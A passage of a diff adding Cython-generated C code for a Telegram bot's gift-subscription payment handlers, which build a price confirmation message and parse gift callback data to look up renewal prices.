__Pyx_GOTREF(__pyx_t_8); + + /* "handlers/payments/gift.py":128 + * await callback_query.message.answer( + * text=( + * f" :\n" # <<<<<<<<<<<<<< + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + * f": {price} \n\n" + */ + __pyx_t_7 = PyTuple_New(7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_10 = 0; + __pyx_t_11 = 127; + __Pyx_INCREF(__pyx_kp_u_b_b_b); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 45; + __Pyx_GIVEREF(__pyx_kp_u_b_b_b); + PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_kp_u_b_b_b); + + /* "handlers/payments/gift.py":129 + * text=( + * f" :\n" + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" # <<<<<<<<<<<<<< + * f": {price} \n\n" + * " ." + */ + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_10 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_kp_u__13); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + if (__pyx_t_6) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_9 = __pyx_n_u__14; + } else { + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + if (!__pyx_t_12) { + } else { + __pyx_t_5 = __pyx_t_12; + goto __pyx_L9_bool_binop_done; + } + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + if (!__pyx_t_12) { + } else { + __pyx_t_5 = __pyx_t_12; + goto __pyx_L9_bool_binop_done; + } + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_5 = __pyx_t_12; + __pyx_L9_bool_binop_done:; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_12 = __pyx_t_5; + if (__pyx_t_12) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_3 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_3 = __pyx_n_u__16; + } + __pyx_t_9 = __pyx_t_3; + __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyUnicode_Unicode(__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_7, 3, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_b_b_4); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 19; + __Pyx_GIVEREF(__pyx_kp_u_b_b_4); + PyTuple_SET_ITEM(__pyx_t_7, 4, __pyx_kp_u_b_b_4); + + /* "handlers/payments/gift.py":130 + * f" :\n" + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + * f": {price} \n\n" # <<<<<<<<<<<<<< + * " ." + * ), + */ + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_7, 5, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_b); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 42; + __Pyx_GIVEREF(__pyx_kp_u_b); + PyTuple_SET_ITEM(__pyx_t_7, 6, __pyx_kp_u_b); + + /* "handlers/payments/gift.py":128 + * await callback_query.message.answer( + * text=( + * f" :\n" # <<<<<<<<<<<<<< + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + * f": {price} \n\n" + */ + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_7, 7, __pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":133 + * " ." + * ), + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_9 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":126 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" :\n" + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 126, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 126, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_AddTraceback("confirm_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_13finalize_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_12finalize_gift_handler, "\320\236\320\261\321\200\320\260\320\261\320\276\321\202\321\207\320\270\320\272 \320\277\320\276\320\264\321\202\320\262\320\265\321\200\320\266\320\264\320\265\320\275\320\270\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260."); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_13finalize_gift_handler = {"finalize_gift_handler", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_4gift_13finalize_gift_handler, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_4gift_12finalize_gift_handler}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_13finalize_gift_handler(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + CYTHON_UNUSED PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("finalize_gift_handler (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 1); __PYX_ERR(0, 137, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, 2); __PYX_ERR(0, 137, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "finalize_gift_handler") < 0)) __PYX_ERR(0, 137, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("finalize_gift_handler", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 137, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_12finalize_gift_handler(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_12finalize_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("finalize_gift_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 137, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_14generator4, __pyx_codeobj__32, (PyObject *) __pyx_cur_scope, __pyx_n_s_finalize_gift_handler, __pyx_n_s_finalize_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + int __pyx_t_16; + PyObject *__pyx_t_17 = NULL; + int __pyx_t_18; + char const *__pyx_t_19; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("finalize_gift_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L12_resume_from_await; + case 3: goto __pyx_L13_resume_from_await; + case 4: goto __pyx_L17_resume_from_await; + case 5: goto __pyx_L25_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/gift.py":140 + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + * selected_months = callback_query.data.split("|")[1] # <<<<<<<<<<<<<< + * price = RENEWAL_PRICES.get(selected_months, None) + * tg_id = callback_query.from_user.id + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__26}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":141 + * """ .""" + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) # <<<<<<<<<<<<<< + * tg_id = callback_query.from_user.id + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_selected_months, Py_None}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_price = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":142 + * selected_months = callback_query.data.split("|")[1] + * price = RENEWAL_PRICES.get(selected_months, None) + * tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< + * + * if not price: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":144 + * tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 144, __pyx_L1_error) + __pyx_t_6 = (!__pyx_t_5); + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":145 + * + * if not price: + * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 145, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 145, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":146 + * if not price: + * await 